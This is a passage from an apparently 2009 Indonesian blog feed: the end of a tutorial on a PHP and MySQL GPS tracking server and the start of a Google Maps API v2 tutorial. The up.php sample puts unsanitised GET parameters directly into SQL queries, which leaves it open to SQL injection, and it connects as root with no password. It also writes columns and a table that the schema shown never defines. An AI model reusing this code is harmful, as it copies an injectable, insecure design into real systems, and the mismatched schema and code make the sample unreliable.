<p><a href="http://www.dijexi.com/wp-content/uploads/2009/07/image1.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="Flowchart Aplikasi GPS Tracking Device" src="http://www.dijexi.com/wp-content/uploads/2009/07/image_thumb1.png" border="0" alt="Flowchart Aplikasi GPS Tracking Device" width="320" height="578" /></a></p>
<h2>Aplikasi pemantau</h2>
<p>Aplikasi pemantau diimplementasikan dengan web based application, yaitu aplikasi disimpan pada web server yang berfungsi sebagai GPS Tracking Server. Komputer pemantau akan melakukan koneksi ke alamat web server untuk dapat mematau posisi benda bergerak yang dimilikinya.</p>
<p>Aplikasi pemantau yang kita bangun menggunakan tampilan peta digital yang diambil dari Google Map. Peta Google Map tersebut kita program melalui API (<em>application programming interface</em>) yang tersedia untuk menampilkan objek yang mewakili posisi benda bergerak/ GPS Tracking Device.</p>
<p>Informasi posisi objek tersebut diambil dari database MySQL dimana datanya selalu diupdate oleh GPS Tracking Device secara periodik. Akibatnya kita akan mendapatkan efek bergerak setiap kali kita me-refresh data dan menampilkannya pada peta Google Map.</p>
<p>Arsitektur sistem pemantau dapat digambarkan sebagai berikut:</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/07/image2.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="Arsitektur Aplikasi Pemantau" src="http://www.dijexi.com/wp-content/uploads/2009/07/image_thumb2.png" border="0" alt="Arsitektur Aplikasi Pemantau" width="520" height="430" /></a></p>
<p>Berikut adalah deskripsi masing-masing file program PHP yang digunakan untuk membangun aplikasi GPS Tracking Server:</p>
<table border="1" cellspacing="0" cellpadding="4" width="500" bordercolor="#000000">
<colgroup>
<col width="56"></col>
<col width="200"></col>
</colgroup>
<tbody>
<tr valign="top">
<th width="188">Program</th>
<th width="310">Keterangan</th>
</tr>
<tr valign="top">
<td width="188">up.php</td>
<td width="310">File penerima update data dari GPS Tracking Device. File ini memiliki parameter input unit_id, lat, dan lon yang merepresentasikan informasi posisi GPS Tracking Device pada saat mengirimkan data. Data ini dikirimkan melalui HTTP GET method seperti yang telah dijelaskan pada bagian sebelumnya.</p>
<p>Ketika data diterima, program ini akan langsung menyimpan data tersebut pada table yang terdapat pada database. Informasi yang disimpan adalah semua data tersebut di atas (unit_id, lat, dan lon) ditambah dengan timestamp yang mencatat waktu penyimpanan dan id record (auto increment).</td>
</tr>
<tr valign="top">
<td width="188">viewer.php</td>
<td width="310">Program ini berfungsi untuk menginisialisasi dan menampilkan Google Map pada suatu koordinat tertentu, menyediakan tombol navigasi kepada user (geser dan zoom), menyediakan fasilitas pencarian benda bergerak, dan menampilkan objek dengan tampilan animasi (jika objek yang dipantau bergerak maka tampilan pada peta akan bergerak juga).</p>
<p>Benda bergerak direpresentasikan dengan objek Marker yang terdapat pada API Google Map. Setiap Marker harus memiliki koordinat dimana Marker tersebut diposisikan pada peta.</p>
<p>Data posisi koordinat Marker tersebut diambil dari table yang ada pada database yang berisi data posisi terakhir benda bergerak. Data ini harus diformat terlebih dahulu ke dalam bentuk XML karena Google Map mensyaratkan seperti itu. Hal ini dikerjakan oleh program lainnya yaitu lastpos.xml.php.</td>
</tr>
<tr valign="top">
<td width="188">lastpos.xml.php</td>
<td width="360">Berfungsi untuk membaca data dari table database dan menghasilkan output file dengan format XML sehingga dapat dibaca oleh Google Map dan untuk menampilkan Marker di atas peta oleh program viewer.php.</td>
</tr>
</tbody>
</table>
<h2>Struktur database</h2>
<p>Database minimal harus terdiri dari satu tabel yang menyimpan informasi posisi terakhir dari benda bergerak yang ingin dipantau. Kita namakan saja tabel ini dengan tabel <strong>lastpos.</strong> Struktur data pada tabel tersebut adalah sebagai berikut:</p>
<table border="1" cellspacing="0" cellpadding="4" width="500" bordercolor="#000000">
<colgroup>
<col width="45"></col>
<col width="72"></col>
<col width="139"></col>
</colgroup>
<tbody>
<tr valign="top">
<th width="121">Field</th>
<th width="157">Datatype</th>
<th width="220">Keterangan</th>
</tr>
<tr valign="top">
<td width="121">id</td>
<td width="157">Integer auto increment primary key</td>
<td width="220">Indentifikasi nomor record</td>
</tr>
<tr valign="top">
<td width="121">unit_id</td>
<td width="157">Varchar(10)</td>
<td width="220">Identifikasi benda bergerak</td>
</tr>
<tr valign="top">
<td width="121">lat</td>
<td width="157">Double</td>
<td width="220">Informasi koordinat latitude benda bergerak</td>
</tr>
<tr valign="top">
<td width="121">lon</td>
<td width="157">Double</td>
<td width="220">Informasi koordinat longitude benda bergerak</td>
</tr>
<tr valign="top">
<td width="121">ts</td>
<td width="174">Datetime</td>
<td width="293">Informasi timestamp saat record dituliskan</td>
</tr>
</tbody>
</table>
<p>Seperti telah disebutkan di atas, tabel ini akan senantiasa di-update datanya oleh GPS Tracking Device yang terdapat pada benda bergerak yang dipantau yang dilakukan oleh program <strong>up.php</strong>.</p>
<p>Tabel ini juga akan senantiasa dibaca oleh program <strong>viewer.php</strong> melalui program lastpos.xml.php ketika akan menampilkan repersentasi posisi benda tersebut pada tampilan peta Google Map.</p>
<p>Database ini kita namakan misalnya <strong>gpstracking</strong>. Berikut adalah struktur perintah SQL untuk membuat database tersebut.</p>
<div class="dean_ch" style="white-space: wrap;"><span class="kw1">CREATE</span> <span class="kw1">TABLE</span> <span class="st0">`lastpos`</span> <span class="br0">&#40;</span><br />
<span class="st0">`id`</span> int<span class="br0">&#40;</span><span class="nu0">10</span><span class="br0">&#41;</span> <span class="kw1">UNSIGNED</span> <span class="kw1">NOT</span> <span class="kw1">NULL</span> <span class="kw1">AUTO_INCREMENT</span>,<br />
<span class="st0">`unit_id`</span> varchar<span class="br0">&#40;</span><span class="nu0">10</span><span class="br0">&#41;</span>,<br />
<span class="st0">`lat`</span> double <span class="kw1">DEFAULT</span> <span class="kw1">NULL</span>,<br />
<span class="st0">`lon`</span> double <span class="kw1">DEFAULT</span> <span class="st0">&#8217;0&#8242;</span>,<br />
<span class="st0">`ts`</span> datetime <span class="kw1">DEFAULT</span> <span class="kw1">NULL</span>,<br />
<span class="kw1">PRIMARY</span> <span class="kw1">KEY</span> &nbsp;<span class="br0">&#40;</span><span class="st0">`id`</span><span class="br0">&#41;</span>,<br />
<span class="kw1">UNIQUE</span> <span class="kw1">KEY</span> <span class="st0">`UNITX`</span> <span class="br0">&#40;</span><span class="st0">`unit_id`</span><span class="br0">&#41;</span><br />
<span class="br0">&#41;</span> TYPE=MyISAM;</div>
<p>Masukkan juga bebebrapa contoh data yang dapat digunakan selama proses pembuatan program aplikasi sbb:</p>
<div class="dean_ch" style="white-space: wrap;"><span class="kw1">INSERT</span> <span class="kw1">INTO</span> <span class="st0">`lastpos`</span> <span class="kw1">VALUES</span> <span class="br0">&#40;</span><span class="st0">&#8217;1&#8242;</span>, <span class="st0">&#8216;D991HN&#8217;</span>, <span class="st0">&#8216;-6.50&#8242;</span>, <span class="st0">&#8217;107.207&#8242;</span>, <span class="st0">&#8217;2007-07-27 04:11:32&#8242;</span><span class="br0">&#41;</span>;<br />
<span class="kw1">INSERT</span> <span class="kw1">INTO</span> <span class="st0">`lastpos`</span> <span class="kw1">VALUES</span> <span class="br0">&#40;</span><span class="st0">&#8217;2&#8242;</span>, <span class="st0">&#8216;B3892HY&#8217;</span>, <span class="st0">&#8216;-6.69&#8242;</span>, <span class="st0">&#8217;107.192&#8242;</span>, <span class="st0">&#8217;2007-07-27 14:21:22&#8242;</span><span class="br0">&#41;</span>;<br />
<span class="kw1">INSERT</span> <span class="kw1">INTO</span> <span class="st0">`lastpos`</span> <span class="kw1">VALUES</span> <span class="br0">&#40;</span><span class="st0">&#8217;3&#8242;</span>, <span class="st0">&#8216;D4833AA&#8217;</span>, <span class="st0">&#8216;-6.4334&#8242;</span>, <span class="st0">&#8217;107.3248&#8242;</span>, <span class="st0">&#8217;2007-07-27 14:12:34&#8242;</span><span class="br0">&#41;</span>;<br />
<span class="kw1">INSERT</span> <span class="kw1">INTO</span> <span class="st0">`lastpos`</span> <span class="kw1">VALUES</span> <span class="br0">&#40;</span><span class="st0">&#8217;4&#8242;</span>, <span class="st0">&#8216;D434YT&#8217;</span>, <span class="st0">&#8216;-6.7132&#8242;</span>, <span class="st0">&#8217;107.9932&#8242;</span>, <span class="st0">&#8217;2007-07-16 15:24:58&#8242;</span><span class="br0">&#41;</span>;</div>
<p>Ikuti artikel selanjutnya tentang bagaimana membuat aplikasi J2ME di handphone Nokia N95 dan membuat aplikasi Pemantau menggunakan Google MAP API.</p>
<h2>Source Code Program up.php</h2>
<p>Berikut ini controh script PHP up.php yang digunakan untuk menerima data dari device Nokia N95 dan menyimpan data tersebut ke tabel.</p>
<div class="dean_ch" style="white-space: wrap;">
<span class="kw2">&lt;?</span><br />
<span class="co1">///koneksi ke database</span><br />
<a href="http://www.php.net/mysql_connect"><span class="kw3">mysql_connect</span></a><span class="br0">&#40;</span><span class="st0">&quot;localhost&quot;</span>,<span class="st0">&quot;root&quot;</span>,<span class="st0">&quot;&quot;</span><span class="br0">&#41;</span>;<br />
<a href="http://www.php.net/mysql_select_db"><span class="kw3">mysql_select_db</span></a><span class="br0">&#40;</span><span class="st0">&quot;dijexi_gps&quot;</span><span class="br0">&#41;</span>;<br />
<span class="co1">//ambil parameter query string</span></p>
<p><span class="re0">$unit_id</span>=<span class="re0">$_GET</span><span class="br0">&#91;</span><span class="st0">&#8216;unit_id&#8217;</span><span class="br0">&#93;</span>;<br />
<span class="re0">$lat</span>=<span class="re0">$_GET</span><span class="br0">&#91;</span><span class="st0">&#8216;lat&#8217;</span><span class="br0">&#93;</span>;<br />
<span class="re0">$lon</span>=<span class="re0">$_GET</span><span class="br0">&#91;</span><span class="st0">&#8216;lon&#8217;</span><span class="br0">&#93;</span>;<br />
<span class="re0">$speed</span>=<span class="re0">$_GET</span><span class="br0">&#91;</span><span class="st0">&#8216;speed&#8217;</span><span class="br0">&#93;</span>;<br />
<span class="re0">$course</span>=<span class="re0">$_GET</span><span class="br0">&#91;</span><span class="st0">&#8216;course&#8217;</span><span class="br0">&#93;</span>;<br />
<span class="re0">$alt</span>=<span class="re0">$_GET</span><span class="br0">&#91;</span><span class="st0">&#8216;alt&#8217;</span><span class="br0">&#93;</span>;<br />
<span class="re0">$imei</span>=<span class="re0">$_GET</span><span class="br0">&#91;</span><span class="st0">&#8216;imei&#8217;</span><span class="br0">&#93;</span>;</p>
<p><span class="co1">//update tabel lastpos</span><br />
<span class="re0">$sql</span>=<span class="st0">&quot;update lastpos set lat=&#8217;$lat&#8217;,lon=&#8217;$lon&#8217;,speed=&#8217;$speed&#8217;,course=&#8217;$course&#8217;,alt=&#8217;$alt&#8217;,ts=NOW(), imei=&#8217;$imei&#8217; where unit_id=&#8217;$unit_id&#8217;&quot;</span>;<br />
<span class="re0">$res</span>=<a href="http://www.php.net/mysql_query"><span class="kw3">mysql_query</span></a><span class="br0">&#40;</span><span class="re0">$sql</span><span class="br0">&#41;</span> or <a href="http://www.php.net/die"><span class="kw3">die</span></a><span class="br0">&#40;</span><a href="http://www.php.net/mysql_error"><span class="kw3">mysql_error</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;</p>
<p><span class="co1">//insert into tracks history</span><br />
<span class="re0">$sql</span> = <span class="st0">&quot;insert into tracks (unit_id,lat,lon,speed,course,alt,ts) values (&#8216;$unit_id&#8217;,'$lat&#8217;,'$lon&#8217;,'$speed&#8217;,'$course&#8217;,'$alt&#8217;,NOW())&quot;</span>;<br />
<span class="re0">$res</span>=<a href="http://www.php.net/mysql_query"><span class="kw3">mysql_query</span></a><span class="br0">&#40;</span><span class="re0">$sql</span><span class="br0">&#41;</span> or <a href="http://www.php.net/die"><span class="kw3">die</span></a><span class="br0">&#40;</span><a href="http://www.php.net/mysql_error"><span class="kw3">mysql_error</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;</p>
<p><a href="http://www.php.net/echo"><span class="kw3">echo</span></a> <span class="st0">&quot;OK&quot;</span>;<br />
<span class="kw2">?&gt;</span><br />
&nbsp;</div>
<p>Artikel terkait:</p>
<ul>
<li><a href="http://www.dijexi.com/2009/07/membuat-aplikasi-dengan-google-map-api/">Membuat Aplikasi dengan Google Map API</a></li>
<li><a href="http://www.dijexi.com/2009/07/menguasai-structured-query-language-sql/">Menguasai Structured Query Language (SQL)</a></li>
</ul>
<p>Akhmad Daniel Sembiring</p>
<p><a href="http://www.vitraining.com">vITraining.com &#8211; Qualified IT Products, Outsourcing, and Services</a></p>
<p><a href="http://ligarwangi.com">Ligarwangi.com &#8211; Linux, E-book, Coffee, Gift, etc</a></p>
<div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://www.dijexi.com/2009/09/how-to-keep-your-privacy-from-covert-gps-tracking-devices/" rel="bookmark">How To Keep Your Privacy From Covert GPS Tracking Devices</a></li><li><a href="http://www.dijexi.com/2009/07/gps-tracking-monitoring-application-with-google-map/" rel="bookmark">GPS Tracking Monitoring Application with Google Map</a></li><li><a href="http://www.dijexi.com/2009/07/aplikasi-pemantau-gps-tracking-dengan-google-maps/" rel="bookmark">Aplikasi Pemantau GPS Tracking dengan Google Maps</a></li><li><a href="http://www.dijexi.com/2009/07/lowongan-kerja-junior-programmer-dan-senior-web-programmer/" rel="bookmark">Lowongan Kerja : Junior Programmer dan Senior Web Programmer</a></li><li><a href="http://www.dijexi.com/2009/09/how-gps-works/" rel="bookmark">How GPS Works</a></li></ul></div><!--INFOLINKS_OFF--><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.dijexi.com%2F2009%2F07%2Fmembuat-sistem-gps-tracking%2F&amp;linkname=Membuat%20Sistem%20GPS%20Tracking"><img src="http://www.dijexi.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.dijexi.com/2009/07/membuat-sistem-gps-tracking/feed/</wfw:commentRss>
		<slash:comments>58</slash:comments>
		</item>
		<item>
		<title>Membuat Aplikasi dengan Google Map API</title>
		<link>http://www.dijexi.com/2009/07/membuat-aplikasi-dengan-google-map-api/</link>
		<comments>http://www.dijexi.com/2009/07/membuat-aplikasi-dengan-google-map-api/#comments</comments>
		<pubDate>Mon, 06 Jul 2009 06:39:32 +0000</pubDate>
		<dc:creator>akhmad daniel sembiring</dc:creator>
				<category><![CDATA[Google Map]]></category>
		<category><![CDATA[GPS Tracking System]]></category>
		<category><![CDATA[javascript]]></category>

		<guid isPermaLink="false">http://www.dijexi.com/2009/07/membuat-aplikasi-dengan-google-map-api/</guid>
		<description><![CDATA[Image by Telendro via Flickr Setup API Key Untuk dapat menggunakan Google Map API pada suatu aplikasi, kita perlu mendapatkan Key yang bisa diperoleh secara gratis dari Google. Key ini hanya berlaku untuk satu URL, jadi setiap kali kita pindahkan aplikasi tersebut dari suatu server ke server lain, maka kita perlu mendapatkan key lainnya untuk [...]]]></description>
			<content:encoded><![CDATA[<!--INFOLINKS_ON--><div class="zemanta-img" style="margin: 1em; display: block; float: right"><a href="http://www.flickr.com/photos/23946824@N00/27860997"><img style="border-bottom: medium none; border-left: medium none; display: block; border-top: medium none; border-right: medium none" src="http://farm1.static.flickr.com/21/27860997_926e66c4bd_m.jpg" alt="Google Maps Hybrid" /></a></p>
<p class="zemanta-img-attribution" style="font-size: 0.8em">Image by <a href="http://www.flickr.com/photos/23946824@N00/27860997">Telendro</a> via Flickr</p>
</div>
<h2>Setup <a class="zem_slink" title="Application programming interface" rel="wikipedia" href="http://en.wikipedia.org/wiki/Application_programming_interface">API</a> Key</h2>
<p>Untuk dapat menggunakan <a class="zem_slink" title="Google" rel="homepage" href="http://google.com/">Google</a> Map API pada suatu aplikasi, kita perlu mendapatkan Key yang bisa diperoleh secara gratis dari Google. Key ini hanya berlaku untuk satu <a class="zem_slink" title="Uniform Resource Locator" rel="wikipedia" href="http://en.wikipedia.org/wiki/Uniform_Resource_Locator">URL</a>, jadi setiap kali kita pindahkan aplikasi tersebut dari suatu server ke server lain, maka kita perlu mendapatkan key lainnya untuk server tersebut.<span id="more-582"></span></p>
<p>Key tersebut dapat diperloleh melalui URL di bawah ini:</p>
<p><a href="http://www.google.com/apis/maps/signup.html">http://www.google.com/apis/maps/signup.html</a></p>
<p>Ketika URL tersebut dibuka akan muncul halaman yang pada saat buku ini ditulis, tampilannya adalah sebagai berikut:</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/07/GoogleAPIKeygeneratepage.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="Google API Key generate page" src="http://www.dijexi.com/wp-content/uploads/2009/07/GoogleAPIKeygeneratepage_thumb.png" border="0" alt="Google API Key generate page" width="504" height="250" /></a></p>
<p>Selanjutnya, cara melakukan registrasi key adalah:</p>
<ul>
<li>Masukkan URL website tempat anda meletakkan program yang mengakses Google Map API pada kolom <strong>My <a class="zem_slink" title="Website" rel="wikipedia" href="http://en.wikipedia.org/wiki/Website">web site</a> URL</strong>, misalnya <a href="http://localhost/gmaptest">http://localhost/gmaptest</a>. Anda perlu mendaftarkan satu API Key untuk setiap domain.</li>
<li>Klik tombol <strong>Generate API Key</strong>. Simpan key yang diperoleh, berupa XXX karakter yang telah di-encrypt. Key ini akan digunakan pada saat inisialisasi Google Map pada aplikasi kita dan berlaku hanya untuk URL yang diregistrasikan</li>
</ul>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/07/ThegeneratedAPIKey.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="The generated API Key" src="http://www.dijexi.com/wp-content/uploads/2009/07/ThegeneratedAPIKey_thumb.png" border="0" alt="The generated API Key" width="504" height="250" /></a></p>
<h2>Memulai Membuat Aplikasi Google Map</h2>
<p>Buat satu file <a class="zem_slink" title="HTML" rel="wikipedia" href="http://en.wikipedia.org/wiki/HTML">HTML</a> baru, katakanlah <strong>test-01.html</strong>. Ketikkan isinya sebagai berikut.</p>
<div class="dean_ch" style="white-space: wrap;">&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Strict//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd&quot;&gt;<br />
&lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;<br />
&lt;head&gt;<br />
&lt;meta http-equiv=&quot;content-type&quot; content=&quot;text/html; charset=utf-8&quot;/&gt;<br />
&lt;script src=&quot;http://maps.google.com/maps?file=api&amp;amp;amp;v=2&amp;amp;amp;key=abc&quot; type=&quot;text/javascript&quot;&gt;&lt;/script&gt;<br />
&lt;script type=&quot;text/javascript&quot;&gt;<br />
//CDATA[<br />
var map = null;<br />
function load()<br />
{<br />
&nbsp; if (GBrowserIsCompatible())<br />
&nbsp; {<br />
&nbsp; &nbsp; map = new GMap2(document.getElementById(&quot;map&quot;));<br />
&nbsp; &nbsp; map.setCenter(new GLatLng(-6.8790, 107.63520), 12);<br />
&nbsp; }<br />
}<br />
//]]&gt;<br />
&lt;/script&gt;<br />
&lt;/head&gt;<br />
&lt;body onload=&quot;load()&quot; onunload=&quot;GUnload()&quot;&gt;<br />
&nbsp; &lt;div id=&quot;map&quot; style=&quot;width: 400px; height: 200px&quot;&gt;Loading&lt;/div&gt;<br />
&lt;/body&gt;<br />
&lt;/html&gt;</div>
<p>Baris-baris kode di atas sebenarnya adalah kode HTML standard yang memiliki kode Javascript.</p>
<p>Semua akses yang digunakan untuk memanipulasi dan menggunakan Google Map tersimpan secara online pada server Google dan hanya dapat diakses ketika kita sudah memiliki key yang benar untuk URL yang kita gunakan. Hal ini dilakukan pada baris 6. Anda harus mengganti bagian key=abc, ganti abc menjadi key yang anda peroleh ketika registrasi pada Google Map. Jika key yang anda gunakan tidak sesuai maka akan ditolak oleh Google.</p>
<p>Terdapat function javascript load() yang akan dipanggil pada saat halaman tersebut selesai didownload oleh browser.</p>
<p>Function load() berguna untuk menginisialisasi Google Map. Hal yang dilakukan di sini adalah:</p>
<ul>
<li>Baris 15, mengecek apakah browser yang kita gunakan dapat menampilkan Google Map atau tidak, jika ya maka lanjut ke proses berikutnya. Function GbrowserIsCompatible() digunakan untuk hal ini, dan merupakan function yang terdapat pada Google Map API</li>
<li>Baris 17, mendefinisikan variable object dengan nama map yang merupakan representasi object Google Map, yaitu GMap2(). Object ini diinisialisasi menggunakan elemen DIV yang nantinya akan menampung tampilan peta Google Map, dalam hal ini adalah parameter yang digunakan pada function javascript document.getElementById(&#8220;map&#8221;). Artinya nantinya kita harus memiliki elemen DIV yang bernama map.</li>
</ul>
<p>Pada baris 18 dipanggil method setCenter() yang dimiliki oleh object map. Method ini berfungsi untuk menentukan titik pusat tampilan peta. Parameternya adalah koordinat titik pusat dan level zoom. Koordinat titik pusat terlebih dahulu dibuat menggunakan object GLatLon() yang memiliki parameter latitude dan longitude koordinat yang diinginkan. Sementara level zoom adalah angka integer yang menentukan seberapa dalam level zoom peta yang ingin dimunculkan. Dalam hal ini kita gunakan level 12.</p>
<p>Pada baris 25 dapat dilihat definisi tag BODY HTML yang akan memanggil function javascript load() yang telah didefinisikan sebelumnya.</p>
<p>Pada baris 26 terdapat definisi tag HTML DIV yang bernama map yang akan digunakan sebagai tempat menampilkan object Google Map. Kita dapat merubah ukurannya disini dengan mengganti width dan height pada atribut style yang terdapat di sana. Namun yang penting adalah atribut id harus sama dengan yang dipanggil pada saat inisialisasi object Google Map pada baris 17 di atas.</p>
<p>Jika semua berjalan sebagaimana mestinya, maka hasilnya akan terlihat seperti gambar di bawah.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/07/PreviewAplikasiGoogleMap.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="Preview Aplikasi Google Map" src="http://www.dijexi.com/wp-content/uploads/2009/07/PreviewAplikasiGoogleMap_thumb.png" border="0" alt="Preview Aplikasi Google Map" width="504" height="344" /></a></p>
<h2>Men-center map pada suatu titik</h2>
<p>Untuk memindahkan titik pusat peta Google Map dapat dilakukan dengan memanggil method setCenter(). Parameter method ini adalah koordinat yang diinginkan sebagai titik pusat dan level zoom.</p>
<p>Koordinat titik pusat harus berupa object berjenis GLatLng yang dapat dengan mudah dibuat menggunakan object GLatLng(). Parameter object GLatLng() adalah koordinat dalam latitude dan longitude yang diinginkan. Hasil dari object ini dapat ditampung dalam satu variable yang akan berjenis GLatLng. Object variable berjenis ini dapat langsung dipakai sebagai parameter dari method setCenter().</p>
<p>Parameter setCenter() selanjutnya adalah level zoom yang berupa nilai integer. Parameter ini menentukan seberapa dalam peta akan dimunculkan. Semakin besar level zoom nya maka semakin dalam peta akan dimunculkan. Angka zoom level mulai dari 0 (seluruh dunia) s.d 19 (paling detil).</p>
<p>Contohnya adalah sebagai berikut.</p>
<div class="dean_ch" style="white-space: wrap;">var point = new GLatLng(-6.8790, 107.63520);<br />
map = new GMap2(document.getElementById(&quot;map&quot;));<br />
map.setCenter(point, 12);</div>
<h2>Menambah Marker</h2>
<p>Marker adalah simbol atau icon yang dapat diletakkan di atas peta Google Map. Icon tersebut dapat berupa file gambar maupun icon default bawaan Google Map.</p>
<p>Untuk meletakkan marker di atas peta Google Map, kita perlu membuat object berjenis GMarker yang dapat dilakukan dengan mudah dengan mendefinisikan variabel object dengan fungsi GMarker().</p>
<p>Parameter dari fungsi GMarker() adalah koordinat dimana marker tersebut akan dimunculkan. Parameter ini harus berupa object dengan jenis GLatLng yang dapat dibuat dengan mudah melalui GLatLng() yang sudah kita lakukan sebelumnya.</p>
<p>Setelah object Marker berhasil dibuat, maka object tersebut dijadikan parameter dari method addOverlay() yang terdapat pada object map Google Map. Method ini akan menampilkan icon marker pada koordinat yang telah ditentukan sebelumnya.</p>
<p>Sebagai contoh buatlah file <strong>test-02.html</strong> seperti di bawah ini dan perhatikan baris-baris yang berhuruf tebal.</p>
<div class="dean_ch" style="white-space: wrap;">&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Strict//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd&quot;&gt;<br />
&lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot; xmlns:v=&quot;urn:schemas-microsoft-com:vml&quot;&gt;<br />
&lt;head&gt;<br />
 &lt;meta http-equiv=&quot;content-type&quot; content=&quot;text/html; charset=utf-8&quot;/&gt;<br />
 &lt;script src=&quot;http://maps.google.com/maps?file=api&amp;amp;amp;v=2&amp;amp;amp;sensor=false&amp;amp;amp;key=abc&quot;&gt;<br />
&nbsp;&lt;/script&gt;<br />
 &lt;script type=&quot;text/javascript&quot;&gt;<br />
 function load() {<br />
&nbsp;  if (GBrowserIsCompatible()) {<br />
&nbsp;   &nbsp;var map = new GMap2(document.getElementById(&quot;map&quot;));<br />
&nbsp; &nbsp;  map.setCenter(new GLatLng(-6.8790, 107.63520), 13);<br />
&nbsp; &nbsp;  var point = new GLatLng(-6.8790, 107.63520);<br />
&nbsp; &nbsp;  map.addOverlay(new GMarker(point));<br />
  &nbsp;}<br />
 }<br />
 &lt;/script&gt;<br />
&lt;/head&gt;<br />
&lt;body onload=&quot;load()&quot; onunload=&quot;GUnload()&quot; style=&quot;font-family: Arial;border: 0 none;&quot;&gt;<br />
&nbsp;  &lt;div id=&quot;map&quot; style=&quot;width: 500px; height: 300px&quot;&gt;&lt;/div&gt;<br />
&lt;/body&gt;<br />
&lt;/html&gt;</div>
<p>Jika semua berhasil, maka tampilan file diatas adalah sebagai berikut.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/07/PreviewMenambahMarker.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="Preview Menambah Marker" src="http://www.dijexi.com/wp-content/uploads/2009/07/PreviewMenambahMarker_thumb.png" border="0" alt="Preview Menambah Marker" width="466" height="511" /></a></p>
<h2>Menambah Marker dengan kotak informasi</h2>
<p>Marker dapat dilengkapi dengan kotak informasi yang biasanya berupa infromasi lengkap tentang marker tersebut. Hal ini dapat ditambahkan pada saat kita mendefinisikan object marker itu dengan memanggil method openInfoWindowHtml() pada object marker tersebut.</p>
<p>Paremeter dari method ini adalah isi keterangan yang hendak dimunculkan pada kotak informasi dan berupa kode-kode HTML.</p>
<p>Sebagai contoh, buat file <strong>test-03.html</strong> seperti di bawah ini, perhatikan baris-baris yang berhuruf tebal.</p>
<div class="dean_ch" style="white-space: wrap;">&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Strict//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd&quot;&gt;<br />
&lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot; xmlns:v=&quot;urn:schemas-microsoft-com:vml&quot;&gt;<br />
&lt;head&gt;<br />
&lt;meta http-equiv=&quot;content-type&quot; content=&quot;text/html; charset=utf-8&quot;/&gt;<br />
&lt;script src=http://maps.google.com/maps?file=api&amp;amp;amp;v=2&amp;amp;amp;sensor=false&amp;amp;amp;key=abc&gt;<br />
&lt;/script&gt;<br />
&lt;script type=&quot;text/javascript&quot;&gt;<br />
function load() {<br />
&nbsp; &nbsp;if (GBrowserIsCompatible())<br />
&nbsp; &nbsp;{<br />
&nbsp; &nbsp; &nbsp; var map = new GMap2(document.getElementById(&quot;map&quot;));<br />
&nbsp; &nbsp; &nbsp; map.setCenter(new GLatLng(-6.8790, 107.63520), 13);<br />
&nbsp; &nbsp; &nbsp; var point = new GLatLng(-6.8790, 107.63520);<br />
&nbsp; &nbsp; &nbsp; map.addOverlay(new GMarker(point));<br />
&nbsp; &nbsp; &nbsp; map.openInfoWindow(map.getCenter(),<br />
&nbsp; &nbsp; &nbsp; document.createTextNode(&quot;halo aku disini&quot;));<br />
&nbsp; &nbsp;}<br />
}<br />
&lt;/script&gt;<br />
&lt;/head&gt;<br />
&lt;body onload=&quot;load()&quot; onunload=&quot;GUnload()&quot; style=&quot;font-family: Arial;border: 0 none;&quot;&gt;<br />
&nbsp; &nbsp;&lt;div id=&quot;map&quot; style=&quot;width: 500px; height: 300px&quot;&gt;&lt;/div&gt;<br />
&lt;/body&gt;<br />
&lt;/html&gt;</div>
<p>Perhatikan juga pada baris 21 kita menggunakan parameter map.getCenter() pada saat membuat object GMarker. Ini berarti kita menggunakan koordinat yang dihasilkan oleh method getCenter() dari object map untuk dijadikan parameter GMarker(). Object koordinat yang dihasilkan oleh getCenter() adalah koordinat titik pusat peta pada saat itu. Koordinat ini bisa berubah setiap saat jika kita menggeser atau men-zoom peta dengan mouse atau dengan sengaja diprogram menggunakan setCenter().</p>
<p>Jika semua berjalan dengan benar, maka tampilan dari kode di atas adalah sebagai berikut.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/07/MenambahMarkerdenganKotakInformasi.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="Menambah Marker dengan Kotak Informasi" src="http://www.dijexi.com/wp-content/uploads/2009/07/MenambahMarkerdenganKotakInformasi_thumb.png" border="0" alt="Menambah Marker dengan Kotak Informasi" width="504" height="444" /></a></p>
<h2>Memilih Jenis Map</h2>
<p>Google Map memiliki tiga jenis peta yang dapat ditentukan dengan memanggil method setMapType(). Type map yang tersedia adalah:</p>
<ul>
<li>G_NORMAL_MAP berupa peta jalan/ digital, terdiri dari jalan, batas wilayah, nama jalan, nama tempat, dan sebagainya. Hanya beberapa negara saja yang sudah ada peta digitalnya pada Google Map.</li>
